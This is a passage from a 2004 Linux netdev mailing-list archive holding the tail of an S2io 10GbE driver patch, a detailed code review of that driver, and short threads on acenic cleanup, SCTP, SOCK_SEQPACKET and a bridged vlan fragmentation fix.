RXMAC_INT_M BIT(34)=0A= +#define MC_INT_M BIT(35)=0A= +#define RXXGXS_INT_M BIT(36)=0A= +#define RXTRAFFIC_INT_M BIT(40)=0A= +=0A= +/* PIC level Interrupts TODO*/=0A= +=0A= +/* DMA level Inressupts */=0A= +#define TXDMA_PFC_INT_M BIT(0)=0A= + /* PFC block interrupts */=0A= +#define PFC_MISC_ERR_1 BIT(0) /* Interrupt to indicate FIFO full */=0A= +=0A= +#endif /* _S2IO_H */=0A= diff -urN vanilla-linux/drivers/net/s2io/sysctl_xframe.conf = vanilla-linux-patch/drivers/net/s2io/sysctl_xframe.conf=0A= --- vanilla-linux/drivers/net/s2io/sysctl_xframe.conf 1970-01-01 = 05:30:00.000000000 +0530=0A= +++ vanilla-linux-patch/drivers/net/s2io/sysctl_xframe.conf 2004-02-27 = 20:28:11.000000000 +0530=0A= @@ -0,0 +1,21 @@=0A= +# some of the defaults may be different for your kernel=0A= +# call this file with sysctl -p =0A= +# these are just suggested values that worked well to increase = throughput in=0A= +# several network benchmark tests, your mileage may vary=0A= + = =0A= +### IPV4 specific settings=0A= +net.ipv4.tcp_timestamps =3D 0 # turns TCP timestamp support off, = default 1, reduces CPU use=0A= +net.ipv4.tcp_sack =3D 0 # turn SACK support off, default on=0A= +# on systems with a VERY fast bus -> memory interface this is the big = gainer=0A= +net.ipv4.tcp_rmem =3D 10000000 10000000 10000000 # sets min/default/max = TCP read buffer, default 4096 87380 174760=0A= +net.ipv4.tcp_wmem =3D 10000000 10000000 10000000 # sets = min/pressure/max TCP write buffer, default 4096 16384 131072=0A= +net.ipv4.tcp_mem =3D 10000000 10000000 10000000 # sets min/pressure/max = TCP buffer space, default 31744 32256 32768=0A= + = =0A= +### CORE settings (mostly for socket and UDP effect)=0A= +net.core.rmem_max =3D 524287 # maximum receive socket buffer size, = default 131071=0A= +net.core.wmem_max =3D 524287 # maximum send socket buffer size, default = 131071=0A= +net.core.rmem_default =3D 524287 # default receive socket buffer size, = default 65535=0A= +net.core.wmem_default =3D 524287 # default send socket buffer size, = default 65535=0A= +net.core.optmem_max =3D 524287 # maximum amount of option memory = buffers, default 10240=0A= +net.core.netdev_max_backlog =3D 300000 # number of unprocessed input = packets before kernel starts dropping them, default 300=0A= +=0A= ------=_NextPart_000_0001_01C3FDC9.A17689E0-- From hch@lst.de Sat Feb 28 10:29:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Feb 2004 10:29:14 -0800 (PST) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1SIT9KO001576 for ; Sat, 28 Feb 2004 10:29:10 -0800 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i1SIT8Qc002948 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 28 Feb 2004 19:29:08 +0100 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i1SIT7S0002946; Sat, 28 Feb 2004 19:29:07 +0100 Date: Sat, 28 Feb 2004 19:29:07 +0100 From: Christoph Hellwig To: Jes Sorensen Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] kill acient compat cruft from acenic Message-ID: <20040228182907.GA2930@lst.de> References: <20040227202510.GA19947@lst.de> <403FAECD.3090203@pobox.com> <20040227205729.GB20398@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Spam-Score: -4.901 () BAYES_00 X-Scanned-By: MIMEDefang 2.39 X-archive-position: 3644 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev On Sat, Feb 28, 2004 at 01:27:46PM -0500, Jes Sorensen wrote: > Yeah I am happy to kill support for < 2.4.18 in the driver. But don't > add that offset_in_page macro please, it's butt ugly. I didn't add it - it's that way in 2.6, I just provided a variant for 2.4 (which is indetical to what you open-code in your 2.4 driver) From jes@trained-monkey.org Sat Feb 28 11:48:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Feb 2004 11:48:27 -0800 (PST) Received: from jaguar.mkp.net (jaguar.mkp.net [192.139.46.146]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1SJmLKO002621 for ; Sat, 28 Feb 2004 11:48:22 -0800 Received: from jes by jaguar.mkp.net with local (Exim 3.35 #1) id 1Ax9Bi-0005x2-00; Sat, 28 Feb 2004 13:27:46 -0500 To: Christoph Hellwig Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] kill acient compat cruft from acenic References: <20040227202510.GA19947@lst.de> <403FAECD.3090203@pobox.com> <20040227205729.GB20398@lst.de> From: Jes Sorensen Date: 28 Feb 2004 13:27:46 -0500 In-Reply-To: <20040227205729.GB20398@lst.de> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3645 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jes@wildopensource.com Precedence: bulk X-list: netdev >>>>> "Christoph" == Christoph Hellwig writes: Christoph> On Fri, Feb 27, 2004 at 03:55:41PM -0500, Jeff Garzik Christoph> wrote: >> Christoph Hellwig wrote: >Kills lots of really old cruft and adds a >> little cruft to actually >make the driver work with recent 2.4 >> again. >> >> >> Since kcompat (http://sf.net/projects/gkernel/) lets PCI API >> drivers work in 2.2, 2.4 and 2.6, I am OK with applying this >> patch...... assuming there is a second patch coming to convert to >> pci_driver API. Christoph> Jes said he doesn't care for 2.2 and early 2.4 anymore Christoph> which makes life much easier without external compat cruft. Christoph> As soon as this patch is in Linus' tree I'll send you a Christoph> followup. Yeah I am happy to kill support for < 2.4.18 in the driver. But don't add that offset_in_page macro please, it's butt ugly. Cheers, Jes From jgarzik@pobox.com Sat Feb 28 12:22:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Feb 2004 12:22:18 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1SKMDKO006126 for ; Sat, 28 Feb 2004 12:22:14 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1405 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AxAyR-0004Rm-7l; Sat, 28 Feb 2004 20:22:11 +0000 Message-ID: <4040F866.9040200@pobox.com> Date: Sat, 28 Feb 2004 15:21:58 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Leonid Grossman CC: netdev@oss.sgi.com, "'Stephen Hemminger'" , "'Christoph Hellwig'" , "'ravinandan arakali'" , raghavendra.koushik@s2io.com Subject: Re: Submission #3 for S2io 10GbE driver References: <000001c3fe0c$af99c9e0$0300a8c0@S2IOtech.com> In-Reply-To: <000001c3fe0c$af99c9e0$0300a8c0@S2IOtech.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3646 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Looking a lot better. A few merge issues remain, and some operational ones as well. There are 39 issues in this review, but IMO they are mostly minor issues that don't require much thought or work. Comments: 0) to repeat myself from an earlier review... grumble... You CANNOT use NETIF_F_HW_CSUM, when your hardware does not provide the checksum value. You must use NETIF_F_IP_CSUM. Your use of NETIF_F_HW_CSUM + CHECKSUM_UNNECESSARY is flat out incorrect. 1) the makefile is for out-of-tree stuff. The proper makefile will be much smaller. So just submit a proper in-tree Makefile. 2) (in general) we don't want the compatibility stuff in-tree, that's for out-of-tree as well. 3) just submit a patch to include/linux/pci_ids.h instead of the following +/* VENDOR and DEVICE ID of XENA. */ +#ifndef PCI_VENDOR_ID_S2IO +#define PCI_VENDOR_ID_S2IO 0x17D5 +#define PCI_DEVICE_ID_S2IO_WIN 0x5731 +#define PCI_DEVICE_ID_S2IO_UNI 0x5831 +#endif 4) just delete the SET_NETDEV_DEV(), FREE_NETDEV, and IRQ_NONE compatibility defines. these are in 2.4 just like 2.6. 5) Many PCI posting bugs remain. FixMacAddress is an excellent illustration: + write64(&bar0->gpio_control, 0x0040600000000000ULL); + udelay(10); + write64(&bar0->gpio_control, 0x0000600000000000ULL); + udelay(10); + write64(&bar0->gpio_control, 0x0020600000000000ULL); + udelay(10); + write64(&bar0->gpio_control, 0x0060600000000000ULL); + udelay(10); The delay is _not_ guaranteed at all, because you do not know when that write64() will actually be sent to the PCI bus. Only a read[bwl,64] is guaranteed to flush the write to the PCI device. So, the above code does not function as you would expect, on all platforms. 6) More examples of PCI posting bugs, in startNic: + write64(&bar0->mc_rldram_mrs, val64); + set_current_state(TASK_UNINTERRUPTIBLE); + schedule_timeout(HZ / 10); and + write64(&bar0->dtx_control, 0x8007051500000000ULL); + udelay(50); + write64(&bar0->dtx_control, 0x80070515000000E0ULL); + udelay(50); + write64(&bar0->dtx_control, 0x80070515001F00E4ULL); + udelay(50); 7) for fragmented skb's, you should be using pci_map_page() not pci_map_single(). Example in drivers/net/tg3.c. 8) (style) in alarmIntrHandler, due to line wrapping, Lindent has rendered the 'do' loop rather unreadable. 9) you cannot sleep inside the interrupt handler. Therefore the schedule_timeout() in alarmIntrHandler is very wrong. 10) never use a plain constant when calling schedule_timeout(), such as in waitForCmdComplete. Always calculate the desired delay based on the HZ constant. Otherwise, your delay varies depending on platform. HZ represents one second, in jiffies. So half a second delay would be "HZ / 2", etc. Also, when fixing, be careful that your HZ-based calculation will never evaluate to zero. 11) ditto s2io_reset 12) ditto s2io_close. etc. 13) in s2io_xmit, kfree the skb (drop it) if you don't have enough free space to queue it. this is normally a BUG condition, since proper use of netif_{start,stop,wake}_queue() will guarantee that s2io_xmit will only be called when there is free space to queue another skb. 14) spin_lock(), not spin_lock_irqsave(), in your interrupt handler. spin_lock_irqsave() is normally used in any of three cases: (1) don't know whether you're in an ISR or not, (2) definitely not in an ISR, or (3) your ISR is called from more than one hardware interrupt. None of these three is the case. 15) does s2io_get_stats need locking? 16) (style) If you are going to comment each function, you might as well do it in the "kernel-doc" style, which allows the comments to be picked up by automated tools. The format is /** * function_name - short description * @argument1: argument 1 description * @argument2: argument 2 description * ... * SOMETHING: * blah blah blah * SOMETHING ELSE: * blah blah blah The "ALL_CAPS:" indicates a new section/paragraph, in the document. Once this is done, you may add a stub document to Documentation/DocBook/ and then create your driver's nicely-formatted documentation using "make pdfdocs", "make psdocs", or "make htmldocs". 17) this define belongs in include/linux/ethtool.h, if it's not there already... +#define SPEED_10000 10000 18) remove #ifdefs such as +#if defined(ETHTOOL_GREGS) + info->regdump_len = XENA_REG_SPACE; +#endif since this exists in both 2.4 and 2.6 kernels. 19) ditto: +#ifdef ETHTOOL_PHYS_ID 20) for the ethtool EEPROM and register dumps, it would be nice to submit a patch to me for ethtool (http://sf.net/projects/gkernel/), which generates a verbose dump rather than a bunch of hex numbers incomprehensible to the user. This is a long, boring, but easy task suitable to an intern, so I understand if it's not done immediately ;-) 21) s2io_ethtool_nway_reset should restart PHY autonegotiation, not reset the entire card 22) eliminate s2io_ethtool_get_link, it duplicates a generic (and equivalent) function in net/core/ethtool.c 23) ditto, for the s2io_ethtool_{get,set}_{sg,rx,tx}_csum stuff 24) don't explicitly set members to NULL in netdev_ethtool_ops 25) the update to s2io_tx_watchdog still leaves something to be desired. You are no longer performing the could-take-a-long-time card reset inside of spin_lock_bh()... you are now doing it inside the timer interrupt :( Move this to process context by using schedule_work() [2.6] or schedule_task [2.4] 27) Unconditional netif_wake_queue() in s2io_link() still unfixed. You must check for room for additional TX, before calling netif_{start,wake}_queue(). Consider what happens if the link goes down under the TX-full condition [netif_stop_queue]... instant bug. 28) do NOT specify PCI latency timer value as non-zero. pci_set_master() chooses an appropriate latency timer value. It is acceptable to leave this in as an option, as long as the module option's default is zero: +static u8 latency_timer = 0xff; 29) (style) don't bother casting a void pointer: +/* Private member variable initialized to s2io NIC structure */ + sp = (nic_t *) dev->priv; 30) redundant assignment of 'sp': + dev->irq = pdev->irq; + dev->base_addr = (unsigned long) sp->bar0; + sp = (nic_t *) dev->priv; 31) kill the #ifdef +#ifdef SET_ETHTOOL_OPS + SET_ETHTOOL_OPS(dev, &netdev_ethtool_ops); +#endif This one is particularly silly, because SET_ETHTOOL_OPS() is -designed- to eliminate ifdefs. A driver wishing to be compatible will provide its own SET_ETHTOOL_OPS definition, guaranteeing it can be used unconditionally in the driver code here. 32) mark s2io_starter with "__init" 33) kill this: +#ifndef ETH_ALEN +#define ETH_ALEN 6 +#endif 34) the definitions of SUCCESS and FAILURE are incorrect. The driver should return 0 on success, and a negative errno-based error code on failure. -EBUSY, -EOPNOTSUPP, etc. 35) kill this: +#ifndef SUPPORTED_10000baseT_Full +#define SUPPORTED_10000baseT_Full (1 << 12) +#endif 36) (feature addition) you have a ton of NIC-specific statistics. You should make those available to users, via ethtool. 37) kill all of this: +/* OS related system calls */ + +#ifndef readq +static inline u64 read64(void *addr) +{ + u64 ret = 0; + ret = readl(addr + 4); + (u64) ret <<= 32; + (u64) ret |= readl(addr); + + return ret; +} +#else +static inline u64 read64(void *addr) +{ + u64 ret = readq(addr); + return ret; +} +#endif +#define read32(addr, ret) ret = readl(addr); +#define read16(addr, ret) ret = readw(addr); +#define read8(addr, ret) ret = readb(addr); + +#ifndef writeq +static inline void write64(void *addr, u64 val) +{ + writel((u32) (val), addr); + writel((u32) (val >> 32), (addr + 4)); +} +#else +#define write64(addr, ret) writeq(ret,(void *)addr) +#endif +#define write32(addr, ret) writel(ret,(void *)addr); +#define write16(addr, ret) writew(ret,(void *)addr); +#define write8(addr, ret) writeb(ret,(void *)addr); 38) sysctl_xframe.conf belongs somewhere in Documentation/* From davem@redhat.com Sat Feb 28 15:50:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Feb 2004 15:50:26 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1SNoFKO009009 for ; Sat, 28 Feb 2004 15:50:16 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1SNoEb14214; Sat, 28 Feb 2004 18:50:14 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1SNoE802688; Sat, 28 Feb 2004 18:50:14 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1SNnteF014097; Sat, 28 Feb 2004 18:50:10 -0500 Date: Sat, 28 Feb 2004 15:49:59 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.4 SCTP updates. Message-Id: <20040228154959.03ddfdde.davem@redhat.com> In-Reply-To: References: <20040227133807.453e8d4b.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3647 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 27 Feb 2004 14:52:08 -0800 (PST) Sridhar Samudrala wrote: > Are you referring to JIFFIES_TO_MSECS? Yes. > Do you see any other macros that need > renaming? I think rest of the macros do have SCTP_ prefix. Not offhand, no. > As Jeff said, may be we should make them generic? > Is include/linux/time.h a good place? Possibly, have a chat with Jeff on this so he can consolidate his uses as well. From davem@redhat.com Sat Feb 28 16:14:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Feb 2004 16:14:17 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1T0EEKO009564 for ; Sat, 28 Feb 2004 16:14:14 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1T0E6b18931; Sat, 28 Feb 2004 19:14:06 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1T0E6806536; Sat, 28 Feb 2004 19:14:06 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1T0E1eF019269; Sat, 28 Feb 2004 19:14:01 -0500 Date: Sat, 28 Feb 2004 16:14:05 -0800 From: "David S. Miller" To: scd@broked.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH] Add SOCK_SEQPACKET to PF_UNIX protocol family Message-Id: <20040228161405.0f80b590.davem@redhat.com> In-Reply-To: <1077952763.21806.78.camel@slickdeal.broked.org> References: <1077952763.21806.78.camel@slickdeal.broked.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3648 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 28 Feb 2004 00:19:23 -0700 Steven Dake wrote: > Attached is a patch which adds SOCK_SEQPACKET to the PF_UNIX protocol > family. This looks fine to me, patch applied. From ak@suse.de Sat Feb 28 18:36:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Feb 2004 18:36:55 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1T2ajKO014477 for ; Sat, 28 Feb 2004 18:36:46 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id D334A211F7C; Sun, 29 Feb 2004 03:36:38 +0100 (CET) Date: Sun, 29 Feb 2004 03:36:30 +0100 From: Andi Kleen To: scd@broked.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH] Add SOCK_SEQPACKET to PF_UNIX protocol family Message-Id: <20040229033630.1058edd0.ak@suse.de> In-Reply-To: <1077952763.21806.78.camel@slickdeal.broked.org> References: <1077952763.21806.78.camel@slickdeal.broked.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3649 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Sat, 28 Feb 2004 00:19:23 -0700 Steven Dake wrote: > > Comments welcome, enjoy I would suggest you submit a patch for the unix(7) man page to the maintainer too, now that DaveM has accepted it. Otherwise users cannot know that it exists. -Andi From scd@broked.org Sat Feb 28 21:04:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Feb 2004 21:04:24 -0800 (PST) Received: from themargofoundation.org (IDENT:postfix@246.132.206.65.brainstorminternet.net [65.206.132.246]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1T54AKO018844 for ; Sat, 28 Feb 2004 21:04:10 -0800 Received: from slickdeal.broked.org (65-101-13-223.phnx.qwest.net [65.101.13.223]) by themargofoundation.org (Postfix) with ESMTP id 6EE2010B9A; Sat, 28 Feb 2004 22:20:45 -0700 (MST) Subject: Re: [PATCH] Add SOCK_SEQPACKET to PF_UNIX protocol family From: Steven Dake Reply-To: scd@broked.org To: Andi Kleen Cc: netdev@oss.sgi.com In-Reply-To: <20040229033630.1058edd0.ak@suse.de> References: <1077952763.21806.78.camel@slickdeal.broked.org> <20040229033630.1058edd0.ak@suse.de> Content-Type: text/plain Organization: Broked Software Foundation Message-Id: <1078031047.1086.2.camel@slickdeal.broked.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Sat, 28 Feb 2004 22:04:07 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 3650 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scd@broked.org Precedence: bulk X-list: netdev Andi I see you are the author of the unix(7) manpage. Should I submit the change to you or do you know the maintainer? If your the maintainer, could you tell me where your latest version is so I can baseline against that? Thanks -steve On Sat, 2004-02-28 at 19:36, Andi Kleen wrote: > On Sat, 28 Feb 2004 00:19:23 -0700 > Steven Dake wrote: > > > > > > Comments welcome, enjoy > > I would suggest you submit a patch for the unix(7) man page to the maintainer > too, now that DaveM has accepted it. Otherwise users cannot know that it exists. > > -Andi From davem@redhat.com Sat Feb 28 21:50:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 28 Feb 2004 21:50:44 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1T5oNKO020425 for ; Sat, 28 Feb 2004 21:50:25 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1T5oEb16125; Sun, 29 Feb 2004 00:50:14 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1T5oE826335; Sun, 29 Feb 2004 00:50:14 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1T5o9eF015642; Sun, 29 Feb 2004 00:50:09 -0500 Date: Sat, 28 Feb 2004 21:50:13 -0800 From: "David S. Miller" To: James Morris Cc: mika.penttila@kolumbus.fi, laforge@netfilter.org, netdev@oss.sgi.com, sds@epoch.ncsc.mil Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook Message-Id: <20040228215013.28a61c76.davem@redhat.com> In-Reply-To: References: <20040218172441.2eb117a7.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3651 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 17:19:03 -0500 (EST) James Morris wrote: > This does not seem to be the correct approach. If you drop packets in > the ipsec cases at least, the retransmits just keep feeding packets back > in with hardware checksumming set. Ok, so TCP retransmits do this. There is a check missing somewhere in the TCP output path then. Or maybe, it refuses to mess with checksum state after the SKB has been created, even for further retransmits. More brainpower needed... From ak@suse.de Sun Feb 29 02:50:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 02:50:44 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TAoSKO031302 for ; Sun, 29 Feb 2004 02:50:29 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 0A574263EA0; Sun, 29 Feb 2004 11:50:23 +0100 (CET) Date: Sun, 29 Feb 2004 11:50:09 +0100 From: Andi Kleen To: scd@broked.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH] Add SOCK_SEQPACKET to PF_UNIX protocol family Message-Id: <20040229115009.058de3f4.ak@suse.de> In-Reply-To: <1078031047.1086.2.camel@slickdeal.broked.org> References: <1077952763.21806.78.camel@slickdeal.broked.org> <20040229033630.1058edd0.ak@suse.de> <1078031047.1086.2.camel@slickdeal.broked.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3652 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Sat, 28 Feb 2004 22:04:07 -0700 Steven Dake wrote: > I see you are the author of the unix(7) manpage. Should I submit the > change to you or do you know the maintainer? If your the maintainer, > could you tell me where your latest version is so I can baseline against > that? The current maintainer is Andries Brouwer (aeb@cwi.nl). Submit it to him. Latest version is in the manpages tarball somewhere on ftp.kernel.org -Andi From bdschuym@pandora.be Sun Feb 29 10:14:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 10:14:53 -0800 (PST) Received: from elektra.telenet-ops.be (elektra.telenet-ops.be [195.130.132.49]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TIEjKO024695 for ; Sun, 29 Feb 2004 10:14:48 -0800 Received: from localhost (apate.telenet-ops.be [195.130.132.57]) by elektra.telenet-ops.be (Postfix) with SMTP id 6A29B3428E; Sun, 29 Feb 2004 19:14:44 +0100 (MET) Received: from 192.168.0.138 (D5762B56.kabel.telenet.be [213.118.43.86]) by apate.telenet-ops.be (Postfix) with ESMTP id 1E31E37EAC; Sun, 29 Feb 2004 19:14:44 +0100 (MET) From: Bart De Schuymer To: "David S.Miller" Subject: [PATCH] 2.6.3 fix vlan-encapsulated fragmented IP traffic Date: Sun, 29 Feb 2004 19:14:53 +0100 User-Agent: KMail/1.5 Cc: ebtables-devel , netdev MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402291914.53578.bdschuym@pandora.be> X-archive-position: 3653 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev Hi Dave, When vlan-tagged fragmented IP traffic passes the bridging firewall and ip_conntrack is loaded and iptables sees this IP traffic, an oops can occur when trying to fragment the defragmented packets. This only happens in the slow_path of ip_fragment(). The problem was reported, diagnosed and fixed by Adam Osuchowski and Tomasz Dubinski. When ip_fragment() is fragmenting an IP packet that's encapsulated, it has to make sure there is enough head room for the encapsulating header. The patch below fixes it. I saw no other way than to add some code to ip_fragment(), but this extra code is located in the slow_path so it's hardly ever executed. cheers, Bart --- linux-2.6.3/include/linux/netfilter_bridge.h.save Sun Feb 29 17:13:44 2004 +++ linux-2.6.3/include/linux/netfilter_bridge.h Sun Feb 29 17:43:55 2004 @@ -88,6 +88,20 @@ void nf_bridge_save_header(struct sk_buf memcpy(skb->nf_bridge->data, skb->data - header_size, header_size); } +/* This is called by the IP fragmenting code and it ensures there is + * enough room for the encapsulating header (if there is one). */ +static inline +int nf_bridge_pad(struct sk_buff *skb) +{ + if (skb->protocol == __constant_htons(ETH_P_IP)) + return 0; + if (skb->nf_bridge) { + if (skb->protocol == __constant_htons(ETH_P_8021Q)) + return 4; + } + return 0; +} + struct bridge_skb_cb { union { __u32 ipv4; --- linux-2.6.3/net/ipv4/ip_output.c.save Sun Feb 29 16:30:05 2004 +++ linux-2.6.3/net/ipv4/ip_output.c Sun Feb 29 19:11:35 2004 @@ -80,6 +80,7 @@ #include #include #include +#include #include #include @@ -442,7 +443,7 @@ int ip_fragment(struct sk_buff *skb, int int ptr; struct net_device *dev; struct sk_buff *skb2; - unsigned int mtu, hlen, left, len; + unsigned int mtu, hlen, left, len, ll_rs; int offset; int not_last_frag; struct rtable *rt = (struct rtable*)skb->dst; @@ -563,6 +564,14 @@ slow_path: left = skb->len - hlen; /* Space per frame */ ptr = raw + hlen; /* Where to start from */ +#ifdef CONFIG_BRIDGE_NETFILTER + /* for bridged IP traffic encapsulated inside f.e. a vlan header, + * we need to make room for the encapsulating header */ + ll_rs = LL_RESERVED_SPACE(rt->u.dst.dev + nf_bridge_pad(skb)); + mtu -= 